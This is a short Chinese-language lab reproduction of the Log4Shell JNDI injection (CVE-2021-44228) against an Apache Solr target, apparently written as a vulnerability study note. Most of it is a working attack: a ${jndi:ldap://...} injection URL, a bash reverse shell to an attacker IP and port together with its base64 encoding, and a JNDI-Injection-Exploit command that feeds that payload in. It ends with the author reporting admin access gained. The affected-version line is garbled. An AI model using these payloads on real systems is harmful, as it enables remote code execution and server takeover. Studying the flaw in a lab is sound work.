Apache Log4j2-RCE-CVE-2021-44228
基本信息
- CVE编号:CVE-2021-44228
- CVSS: CVSS2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
- 漏洞类型:远程命令执行
- 影响产品:Apache
- 影响版本:Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
漏洞描述
log4j支持JNDI协议。
Apache Log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行。
漏洞细节
启动环境
docker-compose up -d
访问靶机http://靶机ip:8983
访问如下url,查看dns回显。
ldap是协议,后面的地址为dns地址
http://靶机ip:8983/solr/admin/cores?action=${jndi:ldap://xxxxxxxx}
可以看到发生了dns回显
制作反弹shell
bash -i >& /dev/tcp/192.168.246.131/999 0>&1
进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ni4xMzEvOTk5IDA+JjE=
使用JNDIExploit进行漏洞利用
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64编码后的Payload}|{base64,-d}|{bash,-i}" -A "攻击机IP"
打开监听
将构造的rmi和ldap按次放入 jndi: 后
http://靶机ip:8983/solr/admin/cores?action=${jndi:ldap://xxxxxxxx}
监听成功,拿到了管理员权限